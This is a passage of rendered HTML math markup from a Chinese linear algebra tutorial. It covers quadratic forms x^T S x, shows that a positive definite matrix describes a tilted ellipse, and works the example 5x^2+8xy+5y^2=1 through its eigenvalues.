class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p><h2 id="ax2-2bxy-cy2-1-和-二次型"><a class="markdownIt-Anchor" href="#ax2-2bxy-cy2-1-和-二次型"></a> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mi>b</mi><mi>x</mi><mi>y</mi><mo>+</mo><mi>c</mi><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> ax^2 + 2bxy + cy^2 = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">c</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 和 二次型</h2><p>给定二次曲线方程，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mi>b</mi><mi>x</mi><mi>y</mi><mo>+</mo><mi>c</mi><msup><mi>y</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">f(x, y) = a x^2 + 2b xy + c y^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">c</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>，可以将其表示为矩阵形式：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>x</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>a</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>c</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>x</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mi>b</mi><mi>x</mi><mi>y</mi><mo>+</mo><mi>c</mi><msup><mi>y</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">x^TSx = \begin{bmatrix} x &amp; y \end{bmatrix} \begin{bmatrix} a &amp; b \\ b &amp; c \end{bmatrix} \begin{bmatrix} x \\ y \end{bmatrix} = a x^2 + 2b xy + c y^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">c</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 是正定矩阵时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> x^T S x = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 描述的是斜着的椭圆。</p><p><img src="/images/linear-algebra/ellipse.png" alt="The tilted ellipse 5^2 + 8xy + 5y^2 = 1. Lined up it is 9X^2 + Y^2 = 1." /></p><p>通过配方法，可以将其化为标准形式：</p><p>比如 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>5</mn><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>8</mn><mi>x</mi><mi>y</mi><mo>+</mo><mn>5</mn><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> 5x^2 + 8xy + 5y^2 = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord">5</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">8</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord">5</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p></p><p>可以写成矩阵形式：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>x</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>x</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\begin{bmatrix} x &amp; y \end{bmatrix} \begin{bmatrix} 5 &amp; 4 \\ 4 &amp; 5 \end{bmatrix} \begin{bmatrix} x \\ y \end{bmatrix} = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>根据 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> S = Q \Lambda Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，计算出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span>：</p><p>计算矩阵的特征值和特征向量：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mo>−</mo><mi>λ</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mo>−</mo><mi>λ</mi></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mo stretchy="false">(</mo><mn>5</mn><mo>−</mo><mi>λ</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>−</mo><mn>16</mn><mo>=</mo><msup><mi>λ</mi><mn>2</mn></msup><mo>−</mo><mn>10</mn><mi>λ</mi><mo>+</mo><mn>9</mn><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">det \begin{bmatrix} 5 - \lambda &amp; 4 \\ 4 &amp; 5 - \lambda \end{bmatrix} = (5 - \lambda)^2 - 16 = \lambda^2 - 10\lambda + 9 = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">λ</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">λ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">16</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord">10</span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>解得特征值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo>=</mo><mn>9</mn></mrow><annotation encoding="application/x-tex"> \lambda_1 = 9 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span 